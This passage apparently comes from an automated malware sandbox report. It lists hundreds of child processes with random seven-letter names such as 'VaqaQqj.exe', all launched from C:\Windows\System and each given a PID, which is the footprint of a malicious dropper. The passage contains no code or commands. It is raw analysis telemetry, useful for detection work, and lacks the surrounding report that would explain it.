  C:\Windows\System\VHnClAb.exe
  2⤵
  PID:6316
- C:\Windows\System\VaqaQqj.exe
  C:\Windows\System\VaqaQqj.exe
  2⤵
  PID:1008
- C:\Windows\System\rmusHPw.exe
  C:\Windows\System\rmusHPw.exe
  2⤵
  PID:8208
- C:\Windows\System\hVuoXvY.exe
  C:\Windows\System\hVuoXvY.exe
  2⤵
  PID:8228
- C:\Windows\System\BIAmVLx.exe
  C:\Windows\System\BIAmVLx.exe
  2⤵
  PID:8244
- C:\Windows\System\OBCSFoA.exe
  C:\Windows\System\OBCSFoA.exe
  2⤵
  PID:8264
- C:\Windows\System\KNAQIIS.exe
  C:\Windows\System\KNAQIIS.exe
  2⤵
  PID:8284
- C:\Windows\System\HTIPLds.exe
  C:\Windows\System\HTIPLds.exe
  2⤵
  PID:8304
- C:\Windows\System\NcOrwot.exe
  C:\Windows\System\NcOrwot.exe
  2⤵
  PID:8332
- C:\Windows\System\piWQpix.exe
  C:\Windows\System\piWQpix.exe
  2⤵
  PID:8356
- C:\Windows\System\tdqmkwz.exe
  C:\Windows\System\tdqmkwz.exe
  2⤵
  PID:8372
- C:\Windows\System\Sqqkcsk.exe
  C:\Windows\System\Sqqkcsk.exe
  2⤵
  PID:8400
- C:\Windows\System\eWRkAuh.exe
  C:\Windows\System\eWRkAuh.exe
  2⤵
  PID:8416
- C:\Windows\System\KwPbnEB.exe
  C:\Windows\System\KwPbnEB.exe
  2⤵
  PID:8700
- C:\Windows\System\TIvguiX.exe
  C:\Windows\System\TIvguiX.exe
  2⤵
  PID:8720
- C:\Windows\System\GQUgTKg.exe
  C:\Windows\System\GQUgTKg.exe
  2⤵
  PID:8748
- C:\Windows\System\JKwlNqb.exe
  C:\Windows\System\JKwlNqb.exe
  2⤵
  PID:8776
- C:\Windows\System\LYRVsYI.exe
  C:\Windows\System\LYRVsYI.exe
  2⤵
  PID:8792
- C:\Windows\System\AOCXWOx.exe
  C:\Windows\System\AOCXWOx.exe
  2⤵
  PID:8816
- C:\Windows\System\ilcbKFx.exe
  C:\Windows\System\ilcbKFx.exe
  2⤵
  PID:8836
- C:\Windows\System\hgzLqgL.exe
  C:\Windows\System\hgzLqgL.exe
  2⤵
  PID:8860
- C:\Windows\System\uDYycfs.exe
  C:\Windows\System\uDYycfs.exe
  2⤵
  PID:8880
- C:\Windows\System\ypRamHj.exe
  C:\Windows\System\ypRamHj.exe
  2⤵
  PID:8920
- C:\Windows\System\bdOoDhm.exe
  C:\Windows\System\bdOoDhm.exe
  2⤵
  PID:8936
- C:\Windows\System\SxpkIel.exe
  C:\Windows\System\SxpkIel.exe
  2⤵
  PID:8960
- C:\Windows\System\dzeScDS.exe
  C:\Windows\System\dzeScDS.exe
  2⤵
  PID:8112
- C:\Windows\System\fUMkMyJ.exe
  C:\Windows\System\fUMkMyJ.exe
  2⤵
  PID:8712
- C:\Windows\System\GOPMMnr.exe
  C:\Windows\System\GOPMMnr.exe
  2⤵
  PID:8432
- C:\Windows\System\odzuKwk.exe
  C:\Windows\System\odzuKwk.exe
  2⤵
  PID:7792
- C:\Windows\System\PlvXxPV.exe
  C:\Windows\System\PlvXxPV.exe
  2⤵
  PID:8544
- C:\Windows\System\xkKKFvi.exe
  C:\Windows\System\xkKKFvi.exe
  2⤵
  PID:8980
- C:\Windows\System\lzhBCKL.exe
  C:\Windows\System\lzhBCKL.exe
  2⤵
  PID:8396
- C:\Windows\System\VTdBKvw.exe
  C:\Windows\System\VTdBKvw.exe
  2⤵
  PID:8844
- C:\Windows\System\rBNUSEs.exe
  C:\Windows\System\rBNUSEs.exe
  2⤵
  PID:8968
- C:\Windows\System\vFlQGUk.exe
  C:\Windows\System\vFlQGUk.exe
  2⤵
  PID:8872
- C:\Windows\System\iYlDFhy.exe
  C:\Windows\System\iYlDFhy.exe
  2⤵
  PID:9104
- C:\Windows\System\TxblTAy.exe
  C:\Windows\System\TxblTAy.exe
  2⤵
  PID:6708
- C:\Windows\System\ihyptYs.exe
  C:\Windows\System\ihyptYs.exe
  2⤵
  PID:7684
- C:\Windows\System\YHQOLdo.exe
  C:\Windows\System\YHQOLdo.exe
  2⤵
  PID:2268
- C:\Windows\System\BtsewXC.exe
  C:\Windows\System\BtsewXC.exe
  2⤵
  PID:7228
- C:\Windows\System\YgkENjW.exe
  C:\Windows\System\YgkENjW.exe
  2⤵
  PID:3548
- C:\Windows\System\vwxcZnK.exe
  C:\Windows\System\vwxcZnK.exe
  2⤵
  PID:8832
- C:\Windows\System\MNPMHJe.exe
  C:\Windows\System\MNPMHJe.exe
  2⤵
  PID:8656
- C:\Windows\System\FHWIvQq.exe
  C:\Windows\System\FHWIvQq.exe
  2⤵
  PID:7244
- C:\Windows\System\WEfkjrI.exe
  C:\Windows\System\WEfkjrI.exe
  2⤵
  PID:8876
- C:\Windows\System\yNVioqt.exe
  C:\Windows\System\yNVioqt.exe
  2⤵
  PID:7996
- C:\Windows\System\PgeuvAU.exe
  C:\Windows\System\PgeuvAU.exe
  2⤵
  PID:4480
- C:\Windows\System\hZrRRey.exe
  C:\Windows\System\hZrRRey.exe
  2⤵
  PID:8732
- C:\Windows\System\ZcmVPKL.exe
  C:\Windows\System\ZcmVPKL.exe
  2⤵
  PID:6512
- C:\Windows\System\ngPgCmL.exe
  C:\Windows\System\ngPgCmL.exe
  2⤵
  PID:8316
- C:\Windows\System\hxlZowj.exe
  C:\Windows\System\hxlZowj.exe
  2⤵
  PID:9220
- C:\Windows\System\ZjqwIDd.exe
  C:\Windows\System\ZjqwIDd.exe
  2⤵
  PID:9240
- C:\Windows\System\Bayxfjo.exe
  C:\Windows\System\Bayxfjo.exe
  2⤵
  PID:9260
- C:\Windows\System\zJfBylz.exe
  C:\Windows\System\zJfBylz.exe
  2⤵
  PID:9284
- C:\Windows\System\xPfXojL.exe
  C:\Windows\System\xPfXojL.exe
  2⤵
  PID:9300
- C:\Windows\System\uUZOWpi.exe
  C:\Windows\System\uUZOWpi.exe
  2⤵
  PID:9320
- C:\Windows\System\LDWmNXb.exe
  C:\Windows\System\LDWmNXb.exe
  2⤵
  PID:9340
- C:\Windows\System\LJxRyEu.exe
  C:\Windows\System\LJxRyEu.exe
  2⤵
  PID:9364
- C:\Windows\System\dgObUKM.exe
  C:\Windows\System\dgObUKM.exe
  2⤵
  PID:9384
- C:\Windows\System\NhmdYhU.exe
  C:\Windows\System\NhmdYhU.exe
  2⤵
  PID:9408
- C:\Windows\System\vomTFBG.exe
  C:\Windows\System\vomTFBG.exe
  2⤵
  PID:9428
- C:\Windows\System\YdIHFRq.exe
  C:\Windows\System\YdIHFRq.exe
  2⤵
  PID:9452
- C:\Windows\System\ztyJUvL.exe
  C:\Windows\System\ztyJUvL.exe
  2⤵
  PID:9476
- C:\Windows\System\PJZhcAC.exe
  C:\Windows\System\PJZhcAC.exe
  2⤵
  PID:9496
- C:\Windows\System\SfAcdyh.exe
  C:\Windows\System\SfAcdyh.exe
  2⤵
  PID:9520
- C:\Windows\System\ARZJKWQ.exe
  C:\Windows\System\ARZJKWQ.exe
  2⤵
  PID:9540
- C:\Windows\System\xvKKiSr.exe
  C:\Windows\System\xvKKiSr.exe
  2⤵
  PID:9572
- C:\Windows\System\amrDNvV.exe
  C:\Windows\System\amrDNvV.exe
  2⤵
  PID:9592
- C:\Windows\System\ByrXdev.exe
  C:\Windows\System\ByrXdev.exe
  2⤵
  PID:9616
- C:\Windows\System\CMcJROp.exe
  C:\Windows\System\CMcJROp.exe
  2⤵
  PID:9640
- C:\Windows\System\DboVfQQ.exe
  C:\Windows\System\DboVfQQ.exe
  2⤵
  PID:9664
- C:\Windows\System\SzntqOu.exe
  C:\Windows\System\SzntqOu.exe
  2⤵
  PID:9688
- C:\Windows\System\IUPNLYP.exe
  C:\Windows\System\IUPNLYP.exe
  2⤵
  PID:9712
- C:\Windows\System\gKYxgLg.exe
  C:\Windows\System\gKYxgLg.exe
  2⤵
  PID:9732
- C:\Windows\System\BTMwKcY.exe
  C:\Windows\System\BTMwKcY.exe
  2⤵
  PID:9752
- C:\Windows\System\MhuTgan.exe
  C:\Windows\System\MhuTgan.exe
  2⤵
  PID:9780
- C:\Windows\System\CHAoOVn.exe
  C:\Windows\System\CHAoOVn.exe
  2⤵
  PID:9800
- C:\Windows\System\TwKywOr.exe
  C:\Windows\System\TwKywOr.exe
  2⤵
  PID:9856
- C:\Windows\System\tZrNkkM.exe
  C:\Windows\System\tZrNkkM.exe
  2⤵
  PID:9948
- C:\Windows\System\grJpVfj.exe
  C:\Windows\System\grJpVfj.exe
  2⤵
  PID:9972
- C:\Windows\System\frCjpJt.exe
  C:\Windows\System\frCjpJt.exe
  2⤵
  PID:9996
- C:\Windows\System\ZakTcPb.exe
  C:\Windows\System\ZakTcPb.exe
  2⤵
  PID:10016
- C:\Windows\System\qSHrzPw.exe
  C:\Windows\System\qSHrzPw.exe
  2⤵
  PID:10036
- C:\Windows\System\ualhGNB.exe
  C:\Windows\System\ualhGNB.exe
  2⤵
  PID:10064
- C:\Windows\System\culHTAP.exe
  C:\Windows\System\culHTAP.exe
  2⤵
  PID:10084
- C:\Windows\System\praahrH.exe
  C:\Windows\System\praahrH.exe
  2⤵
  PID:10108
- C:\Windows\System\scmsBPV.exe
  C:\Windows\System\scmsBPV.exe
  2⤵
  PID:10140
- C:\Windows\System\eWJWYEi.exe
  C:\Windows\System\eWJWYEi.exe
  2⤵
  PID:10160
- C:\Windows\System\LftKUwo.exe
  C:\Windows\System\LftKUwo.exe
  2⤵
  PID:10188
- C:\Windows\System\tIahTyi.exe
  C:\Windows\System\tIahTyi.exe
  2⤵
  PID:10208
- C:\Windows\System\uXeSIvE.exe
  C:\Windows\System\uXeSIvE.exe
  2⤵
  PID:10228
- C:\Windows\System\piUfYeq.exe
  C:\Windows\System\piUfYeq.exe
  2⤵
  PID:9152
- C:\Windows\System\rsObmpU.exe
  C:\Windows\System\rsObmpU.exe
  2⤵
  PID:8888
- C:\Windows\System\vauOQqs.exe
  C:\Windows\System\vauOQqs.exe
  2⤵
  PID:8768
- C:\Windows\System\kZuPGGJ.exe
  C:\Windows\System\kZuPGGJ.exe
  2⤵
  PID:8224
- C:\Windows\System\XsnsDJd.exe
  C:\Windows\System\XsnsDJd.exe
  2⤵
  PID:9348
- C:\Windows\System\eePWvlU.exe
  C:\Windows\System\eePWvlU.exe
  2⤵
  PID:2428
- C:\Windows\System\FUGuJQT.exe
  C:\Windows\System\FUGuJQT.exe
  2⤵
  PID:9512
- C:\Windows\System\QdgHVvv.exe
  C:\Windows\System\QdgHVvv.exe
  2⤵
  PID:9356
- C:\Windows\System\pfkWjIz.exe
  C:\Windows\System\pfkWjIz.exe
  2⤵
  PID:9808
- C:\Windows\System\qOZzoXR.exe
  C:\Windows\System\qOZzoXR.exe
  2⤵
  PID:9672
- C:\Windows\System\PuOnzbs.exe
  C:\Windows\System\PuOnzbs.exe
  2⤵
  PID:9468
- C:\Windows\System\JVZWIJg.exe
  C:\Windows\System\JVZWIJg.exe
  2⤵
  PID:9704
- C:\Windows\System\WZkLlmP.exe
  C:\Windows\System\WZkLlmP.exe
  2⤵
  PID:9796
- C:\Windows\System\JWAaoNf.exe
  C:\Windows\System\JWAaoNf.exe
  2⤵
  PID:10008
- C:\Windows\System\nGGakqo.exe
  C:\Windows\System\nGGakqo.exe
  2⤵
  PID:9900
- C:\Windows\System\ZbvVjuy.exe
  C:\Windows\System\ZbvVjuy.exe
  2⤵
  PID:9844
- C:\Windows\System\aKbVMfj.exe
  C:\Windows\System\aKbVMfj.exe
  2⤵
  PID:10052
- C:\Windows\System\zzMIvMQ.exe
  C:\Windows\System\zzMIvMQ.exe
  2⤵
  PID:10076
- C:\Windows\System\aJAnmAT.exe
  C:\Windows\System\aJAnmAT.exe
  2⤵
  PID:9608
- C:\Windows\System\UPxEtFc.exe
  C:\Windows\System\UPxEtFc.exe
  2⤵
  PID:9912
- C:\Windows\System\iyHXXmx.exe
  C:\Windows\System\iyHXXmx.exe
  2⤵
  PID:9628
- C:\Windows\System\vUNOLmz.exe
  C:\Windows\System\vUNOLmz.exe
  2⤵
  PID:10100
- C:\Windows\System\dBnTOeY.exe
  C:\Windows\System\dBnTOeY.exe
  2⤵
  PID:10184
- C:\Windows\System\uLpVlpa.exe
  C:\Windows\System\uLpVlpa.exe
  2⤵
  PID:9420
- C:\Windows\System\wyKjQKV.exe
  C:\Windows\System\wyKjQKV.exe
  2⤵
  PID:10248
- C:\Windows\System\GzzTxfQ.exe
  C:\Windows\System\GzzTxfQ.exe
  2⤵
  PID:10268
- C:\Windows\System\jKHoSRt.exe
  C:\Windows\System\jKHoSRt.exe
  2⤵
  PID:10288
- C:\Windows\System\nWJbBEm.exe
  C:\Windows\System\nWJbBEm.exe
  2⤵
  PID:10308
- C:\Windows\System\TKNUFet.exe
  C:\Windows\System\TKNUFet.exe
  2⤵
  PID:10344
- C:\Windows\System\CHkdMsu.exe
  C:\Windows\System\CHkdMsu.exe
  2⤵
  PID:10364
- C:\Windows\System\NojFlVZ.exe
  C:\Windows\System\NojFlVZ.exe
  2⤵
  PID:10384
- C:\Windows\System\CAqFOlK.exe
  C:\Windows\System\CAqFOlK.exe
  2⤵
  PID:10408
- C:\Windows\System\fRsKQBB.exe
  C:\Windows\System\fRsKQBB.exe
  2⤵
  PID:10428
- C:\Windows\System\EfDAnIR.exe
  C:\Windows\System\EfDAnIR.exe
  2⤵
  PID:10448
- C:\Windows\System\vhSEvEp.exe
  C:\Windows\System\vhSEvEp.exe
  2⤵
  PID:10532
- C:\Windows\System\AUtaQQa.exe
  C:\Windows\System\AUtaQQa.exe
  2⤵
  PID:10568
- C:\Windows\System\gduFFzA.exe
  C:\Windows\System\gduFFzA.exe
  2⤵
  PID:10632
- C:\Windows\System\aGmvHBi.exe
  C:\Windows\System\aGmvHBi.exe
  2⤵
  PID:10652
- C:\Windows\System\WPKtrnZ.exe
  C:\Windows\System\WPKtrnZ.exe
  2⤵
  PID:10668
- C:\Windows\System\YupvcEE.exe
  C:\Windows\System\YupvcEE.exe
  2⤵
  PID:10700
- C:\Windows\System\XDdHqse.exe
  C:\Windows\System\XDdHqse.exe
  2⤵
  PID:10720
- C:\Windows\System\ApxSekb.exe
  C:\Windows\System\ApxSekb.exe
  2⤵
  PID:10740
- C:\Windows\System\IxCfMWr.exe
  C:\Windows\System\IxCfMWr.exe
  2⤵
  PID:10760
- C:\Windows\System\AFVTJkZ.exe
  C:\Windows\System\AFVTJkZ.exe
  2⤵
  PID:10788
- C:\Windows\System\IjJphGd.exe
  C:\Windows\System\IjJphGd.exe
  2⤵
  PID:10808
- C:\Windows\System\DJeHslY.exe
  C:\Windows\System\DJeHslY.exe
  2⤵
  PID:10860
- C:\Windows\System\ahLQxpW.exe
  C:\Windows\System\ahLQxpW.exe
  2⤵
  PID:10884
- C:\Windows\System\TOGsgXj.exe
  C:\Windows\System\TOGsgXj.exe
  2⤵
  PID:10904
- C:\Windows\System\FvjqXRm.exe
  C:\Windows\System\FvjqXRm.exe
  2⤵
  PID:10960
- C:\Windows\System\YPaTgXC.exe
  C:\Windows\System\YPaTgXC.exe
  2⤵
  PID:10984
- C:\Windows\System\tqBhRAR.exe
  C:\Windows\System\tqBhRAR.exe
  2⤵
  PID:11020
- C:\Windows\System\sqkMlco.exe
  C:\Windows\System\sqkMlco.exe
  2⤵
  PID:11040
- C:\Windows\System\vTQBTXT.exe
  C:\Windows\System\vTQBTXT.exe
  2⤵
  PID:11060
- C:\Windows\System\hvKriKC.exe
  C:\Windows\System\hvKriKC.exe
  2⤵
  PID:11084
- C:\Windows\System\OLUlKEK.exe
  C:\Windows\System\OLUlKEK.exe
  2⤵
  PID:11128
- C:\Windows\System\CjPFRZb.exe
  C:\Windows\System\CjPFRZb.exe
  2⤵
  PID:11144
- C:\Windows\System\HrMwhHE.exe
  C:\Windows\System\HrMwhHE.exe
  2⤵
  PID:11164
- C:\Windows\System\ItCvBUc.exe
  C:\Windows\System\ItCvBUc.exe
  2⤵
  PID:11184
- C:\Windows\System\vaPpztr.exe
  C:\Windows\System\vaPpztr.exe
  2⤵
  PID:11216
- C:\Windows\System\afJuWJG.exe
  C:\Windows\System\afJuWJG.exe
  2⤵
  PID:11240
- C:\Windows\System\EwnnGqj.exe
  C:\Windows\System\EwnnGqj.exe
  2⤵
  PID:9656
- C:\Windows\System\gqipOHJ.exe
  C:\Windows\System\gqipOHJ.exe
  2⤵
  PID:5256
- C:\Windows\System\ylDRpyY.exe
  C:\Windows\System\ylDRpyY.exe
  2⤵
  PID:10304
- C:\Windows\System\sUUUZwM.exe
  C:\Windows\System\sUUUZwM.exe
  2⤵
  PID:9936
- C:\Windows\System\jambaXd.exe
  C:\Windows\System\jambaXd.exe
  2⤵
  PID:10400
- C:\Windows\System\pBszSSS.exe
  C:\Windows\System\pBszSSS.exe
  2⤵
  PID:10436
- C:\Windows\System\oYHwKVH.exe
  C:\Windows\System\oYHwKVH.exe
  2⤵
  PID:10456
- C:\Windows\System\POTQdSk.exe
  C:\Windows\System\POTQdSk.exe
  2⤵
  PID:10460
- C:\Windows\System\naXVAVs.exe
  C:\Windows\System\naXVAVs.exe
  2⤵
  PID:10624
- C:\Windows\System\PRZQquz.exe
  C:\Windows\System\PRZQquz.exe
  2⤵
  PID:10952
- C:\Windows\System\MmPwDyu.exe
  C:\Windows\System\MmPwDyu.exe
  2⤵
  PID:11152
- C:\Windows\System\mjbBftQ.exe
  C:\Windows\System\mjbBftQ.exe
  2⤵
  PID:11068
- C:\Windows\System\HyxXCQv.exe
  C:\Windows\System\HyxXCQv.exe
  2⤵
  PID:11156
- C:\Windows\System\DIjYRZK.exe
  C:\Windows\System\DIjYRZK.exe
  2⤵
  PID:3056
- C:\Windows\System\qDuQYhI.exe
  C:\Windows\System\qDuQYhI.exe
  2⤵
  PID:10380
- C:\Windows\System\SLHCmia.exe
  C:\Windows\System\SLHCmia.exe
  2⤵
  PID:10420
- C:\Windows\System\BOIXXEA.exe
  C:\Windows\System\BOIXXEA.exe
  2⤵
  PID:11232
- C:\Windows\System\SAlgJNg.exe
  C:\Windows\System\SAlgJNg.exe
  2⤵
  PID:10324
- C:\Windows\System\MrfgILx.exe
  C:\Windows\System\MrfgILx.exe
  2⤵
  PID:11260
- C:\Windows\System\FLSFYXD.exe
  C:\Windows\System\FLSFYXD.exe
  2⤵
  PID:10116
- C:\Windows\System\EkUHsnQ.exe
  C:\Windows\System\EkUHsnQ.exe
  2⤵
  PID:2432
- C:\Windows\System\zPbyzgC.exe
  C:\Windows\System\zPbyzgC.exe
  2⤵
  PID:10772
- C:\Windows\System\UJOHLqC.exe
  C:\Windows\System\UJOHLqC.exe
  2⤵
  PID:2144
- C:\Windows\System\piwPpko.exe
  C:\Windows\System\piwPpko.exe
  2⤵
  PID:10900
- C:\Windows\System\QVqLFaW.exe
  C:\Windows\System\QVqLFaW.exe
  2⤵
  PID:11224
- C:\Windows\System\dsNsqoy.exe
  C:\Windows\System\dsNsqoy.exe
  2⤵
  PID:11248
- C:\Windows\System\ODPEJUs.exe
  C:\Windows\System\ODPEJUs.exe
  2⤵
  PID:10260
- C:\Windows\System\JHlRnWK.exe
  C:\Windows\System\JHlRnWK.exe
  2⤵
  PID:11288
- C:\Windows\System\LdLmeWk.exe
  C:\Windows\System\LdLmeWk.exe
  2⤵
  PID:11308
- C:\Windows\System\eVknQym.exe
  C:\Windows\System\eVknQym.exe
  2⤵
  PID:11468
- C:\Windows\System\JiuhVKT.exe
  C:\Windows\System\JiuhVKT.exe
  2⤵
  PID:11488
- C:\Windows\System\NBMAbPU.exe
  C:\Windows\System\NBMAbPU.exe
  2⤵
  PID:11508
- C:\Windows\System\JxVkVSJ.exe
  C:\Windows\System\JxVkVSJ.exe
  2⤵
  PID:11540
- C:\Windows\System\NXTQhmD.exe
  C:\Windows\System\NXTQhmD.exe
  2⤵
  PID:11560
- C:\Windows\System\gnPtqBT.exe
  C:\Windows\System\gnPtqBT.exe
  2⤵
  PID:11576
- C:\Windows\System\ktZSAsJ.exe
  C:\Windows\System\ktZSAsJ.exe
  2⤵
  PID:11592
- C:\Windows\System\NADMTjh.exe
  C:\Windows\System\NADMTjh.exe
  2⤵
  PID:11608
- C:\Windows\System\nROfpbV.exe
  C:\Windows\System\nROfpbV.exe
  2⤵
  PID:11636
- C:\Windows\System\zKLryaC.exe
  C:\Windows\System\zKLryaC.exe
  2⤵
  PID:11656
- C:\Windows\System\hiRcyDZ.exe
  C:\Windows\System\hiRcyDZ.exe
  2⤵
  PID:11680
- C:\Windows\System\fXuLLys.exe
  C:\Windows\System\fXuLLys.exe
  2⤵
  PID:11696
- C:\Windows\System\PhJbjay.exe
  C:\Windows\System\PhJbjay.exe
  2⤵
  PID:11716
- C:\Windows\System\RxEiNCd.exe
  C:\Windows\System\RxEiNCd.exe
  2⤵
  PID:11736
- C:\Windows\System\ODbOCmB.exe
  C:\Windows\System\ODbOCmB.exe
  2⤵
  PID:11752
- C:\Windows\System\zEMQYDF.exe
  C:\Windows\System\zEMQYDF.exe
  2⤵
  PID:11772
- C:\Windows\System\ouqEoHY.exe
  C:\Windows\System\ouqEoHY.exe
  2⤵
  PID:11792
- C:\Windows\System\MwGnPXy.exe
  C:\Windows\System\MwGnPXy.exe
  2⤵
  PID:11808
- C:\Windows\System\ivPSZjh.exe
  C:\Windows\System\ivPSZjh.exe
  2⤵
  PID:11828
- C:\Windows\System\MSiUxmN.exe
  C:\Windows\System\MSiUxmN.exe
  2⤵
  PID:11848
- C:\Windows\System\qJNFcTE.exe
  C:\Windows\System\qJNFcTE.exe
  2⤵
  PID:11868
- C:\Windows\System\lMqzJNn.exe
  C:\Windows\System\lMqzJNn.exe
  2⤵
  PID:11888
- C:\Windows\System\XjPPKmu.exe
  C:\Windows\System\XjPPKmu.exe
  2⤵
  PID:11908
- C:\Windows\System\ilFOzKo.exe
  C:\Windows\System\ilFOzKo.exe
  2⤵
  PID:11928
- C:\Windows\System\wfPNfmn.exe
  C:\Windows\System\wfPNfmn.exe
  2⤵
  PID:11952
- C:\Windows\System\SmTmnCd.exe
  C:\Windows\System\SmTmnCd.exe
  2⤵
  PID:11972
- C:\Windows\System\zPCHIVM.exe
  C:\Windows\System\zPCHIVM.exe
  2⤵
  PID:11992
- C:\Windows\System\ddLLJbY.exe
  C:\Windows\System\ddLLJbY.exe
  2⤵
  PID:12012
- C:\Windows\System\nyuzmYq.exe
  C:\Windows\System\nyuzmYq.exe
  2⤵
  PID:12028
- C:\Windows\System\McpgOOz.exe
  C:\Windows\System\McpgOOz.exe
  2⤵
  PID:2976
- C:\Windows\System\gyeFGSY.exe
  C:\Windows\System\gyeFGSY.exe
  2⤵
  PID:10752
- C:\Windows\System\kzjUyyn.exe
  C:\Windows\System\kzjUyyn.exe
  2⤵
  PID:10664
- C:\Windows\System\bCaIEfe.exe
  C:\Windows\System\bCaIEfe.exe
  2⤵
  PID:10804
- C:\Windows\System\WCsSQkJ.exe
  C:\Windows\System\WCsSQkJ.exe
  2⤵
  PID:11272
- C:\Windows\System\cSQdWVG.exe
  C:\Windows\System\cSQdWVG.exe
  2⤵
  PID:11316
- C:\Windows\System\TQgnLMW.exe
  C:\Windows\System\TQgnLMW.exe
  2⤵
  PID:11428
- C:\Windows\System\WoYtusS.exe
  C:\Windows\System\WoYtusS.exe
  2⤵
  PID:11600
- C:\Windows\System\yOlNVlm.exe
  C:\Windows\System\yOlNVlm.exe
  2⤵
  PID:11748
- C:\Windows\System\saADxlm.exe
  C:\Windows\System\saADxlm.exe
  2⤵
  PID:11980
- C:\Windows\System\qRmfaZu.exe
  C:\Windows\System\qRmfaZu.exe
  2⤵
  PID:11988
- C:\Windows\System\pDVdnCI.exe
  C:\Windows\System\pDVdnCI.exe
  2⤵
  PID:12196
- C:\Windows\System\kAUdVIM.exe
  C:\Windows\System\kAUdVIM.exe
  2⤵
  PID:11820
- C:\Windows\System\iWWeqYD.exe
  C:\Windows\System\iWWeqYD.exe
  2⤵
  PID:11984
- C:\Windows\System\lvDBlvZ.exe
  C:\Windows\System\lvDBlvZ.exe
  2⤵
  PID:9584
- C:\Windows\System\AsRKfLx.exe
  C:\Windows\System\AsRKfLx.exe
  2⤵
  PID:11328
- C:\Windows\System\nYKPaaz.exe
  C:\Windows\System\nYKPaaz.exe
  2⤵
  PID:1504
- C:\Windows\System\zSJpyvy.exe
  C:\Windows\System\zSJpyvy.exe
  2⤵
  PID:10852
- C:\Windows\System\KknQYle.exe
  C:\Windows\System\KknQYle.exe
  2⤵
  PID:1544
- C:\Windows\System\qfobybT.exe
  C:\Windows\System\qfobybT.exe
  2⤵
  PID:5044
- C:\Windows\System\XjUgxgu.exe
  C:\Windows\System\XjUgxgu.exe
  2⤵
  PID:11412
- C:\Windows\System\HpSrbGk.exe
  C:\Windows\System\HpSrbGk.exe
  2⤵
  PID:11504
- C:\Windows\System\iaPNYyj.exe
  C:\Windows\System\iaPNYyj.exe
  2⤵
  PID:11548
- C:\Windows\System\ICLzbOn.exe
  C:\Windows\System\ICLzbOn.exe
  2⤵
  PID:1844
- C:\Windows\System\csdojym.exe
  C:\Windows\System\csdojym.exe
  2⤵
  PID:11864
- C:\Windows\System\CpYLcvg.exe
  C:\Windows\System\CpYLcvg.exe
  2⤵
  PID:11732
- C:\Windows\System\hubNxlP.exe
  C:\Windows\System\hubNxlP.exe
  2⤵
  PID:11904
- C:\Windows\System\wQiXYgF.exe
  C:\Windows\System\wQiXYgF.exe
  2⤵
  PID:12020
- C:\Windows\System\osERJbS.exe
  C:\Windows\System\osERJbS.exe
  2⤵
  PID:12304
- C:\Windows\System\OwleOIP.exe
  C:\Windows\System\OwleOIP.exe
  2⤵
  PID:12320
- C:\Windows\System\tOIzHuA.exe
  C:\Windows\System\tOIzHuA.exe
  2⤵
  PID:12340
- C:\Windows\System\bvCqLHn.exe
  C:\Windows\System\bvCqLHn.exe
  2⤵
  PID:12360
- C:\Windows\System\ovRBTTL.exe
  C:\Windows\System\ovRBTTL.exe
  2⤵
  PID:12380
- C:\Windows\System\qVPzczg.exe
  C:\Windows\System\qVPzczg.exe
  2⤵
  PID:12396
- C:\Windows\System\tPhKqQO.exe
  C:\Windows\System\tPhKqQO.exe
  2⤵
  PID:12412
- C:\Windows\System\oRjqepp.exe
  C:\Windows\System\oRjqepp.exe
  2⤵
  PID:12428
- C:\Windows\System\KSIuoyr.exe
  C:\Windows\System\KSIuoyr.exe
  2⤵
  PID:12444
- C:\Windows\System\EnAZbAq.exe
  C:\Windows\System\EnAZbAq.exe
  2⤵
  PID:12460
- C:\Windows\System\CprDgCG.exe
  C:\Windows\System\CprDgCG.exe
  2⤵
  PID:12476
- C:\Windows\System\lvQoYhD.exe
  C:\Windows\System\lvQoYhD.exe
  2⤵
  PID:12492
- C:\Windows\System\uqUVViV.exe
  C:\Windows\System\uqUVViV.exe
  2⤵
  PID:12508
- C:\Windows\System\VAbdnrB.exe
  C:\Windows\System\VAbdnrB.exe
  2⤵
  PID:12544
- C:\Windows\System\EjrGdyc.exe
  C:\Windows\System\EjrGdyc.exe
  2⤵
  PID:12560
- C:\Windows\System\MwBBwRD.exe
  C:\Windows\System\MwBBwRD.exe
  2⤵
  PID:12576
- C:\Windows\System\SdPlQVX.exe
  C:\Windows\System\SdPlQVX.exe
  2⤵
  PID:12596
- C:\Windows\System\mRWbXQa.exe
  C:\Windows\System\mRWbXQa.exe
  2⤵
  PID:12616
- C:\Windows\System\cWBMQpJ.exe
  C:\Windows\System\cWBMQpJ.exe
  2⤵
  PID:12636
- C:\Windows\System\orevlRS.exe
  C:\Windows\System\orevlRS.exe
  2⤵
  PID:12656
- C:\Windows\System\APHPuyQ.exe
  C:\Windows\System\APHPuyQ.exe
  2⤵
  PID:12676
- C:\Windows\System\aBELdcw.exe
  C:\Windows\System\aBELdcw.exe
  2⤵
  PID:12692
- C:\Windows\System\kQRFJnE.exe
  C:\Windows\System\kQRFJnE.exe
  2⤵
  PID:12708
- C:\Windows\System\OYTJREm.exe
  C:\Windows\System\OYTJREm.exe
  2⤵
  PID:12728
- C:\Windows\System\yQWCrza.exe
  C:\Windows\System\yQWCrza.exe
  2⤵
  PID:12752
- C:\Windows\System\HseVqHY.exe
  C:\Windows\System\HseVqHY.exe
  2⤵
  PID:12772
- C:\Windows\System\OiWyoeS.exe
  C:\Windows\System\OiWyoeS.exe
  2⤵
  PID:12788
- C:\Windows\System\uQOomrv.exe
  C:\Windows\System\uQOomrv.exe
  2⤵
  PID:12804
- C:\Windows\System\PyzmHuv.exe
  C:\Windows\System\PyzmHuv.exe
  2⤵
  PID:12820
- C:\Windows\System\lRXRlIq.exe
  C:\Windows\System\lRXRlIq.exe
  2⤵
  PID:12840
- C:\Windows\System\QPBbGcp.exe
  C:\Windows\System\QPBbGcp.exe
  2⤵
  PID:12860
- C:\Windows\System\COAxNQs.exe
  C:\Windows\System\COAxNQs.exe
  2⤵
  PID:12876
- C:\Windows\System\iHwNtrN.exe
  C:\Windows\System\iHwNtrN.exe
  2⤵
  PID:12892
- C:\Windows\System\eLxapIS.exe
  C:\Windows\System\eLxapIS.exe
  2⤵
  PID:12908
- C:\Windows\System\IldwbeW.exe
  C:\Windows\System\IldwbeW.exe
  2⤵
  PID:12924
- C:\Windows\System\VaoHQwR.exe
  C:\Windows\System\VaoHQwR.exe
  2⤵
  PID:12940
- C:\Windows\System\yRLbsiI.exe
  C:\Windows\System\yRLbsiI.exe
  2⤵
  PID:12956
- C:\Windows\System\MWgVkqe.exe
  C:\Windows\System\MWgVkqe.exe
  2⤵
  PID:12972
- C:\Windows\System\ADQdyHE.exe
  C:\Windows\System\ADQdyHE.exe
  2⤵
  PID:12996
